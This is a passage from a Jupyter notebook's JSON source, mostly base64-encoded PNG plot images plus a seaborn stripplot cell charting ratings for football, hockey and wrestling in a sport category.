L4/F4+nBDfVm0efiXraqq6T10ImdRP3RQ\n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\n84DA3SiUAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1151cab90>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "f, ax = plt.subplots(ncols=1, figsize=(10, 4), sharey=True)\n", "g = sns.stripplot(x='item', y='rating', jitter=True, alpha=.1, size=12, linewidth=1,\n", " data=df.loc[df.category == 'sport'], \n", " order=['football', 'hockey', 'wrestling'],\n", " palette=['peru', 'black', 'blue'], ax=ax)\n", "g.set_xlabel('')" ] }, { "cell_type": "code", "execution_count": 40, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.text.Text at 0x114f9dc90>" ] }, "execution_count": 40, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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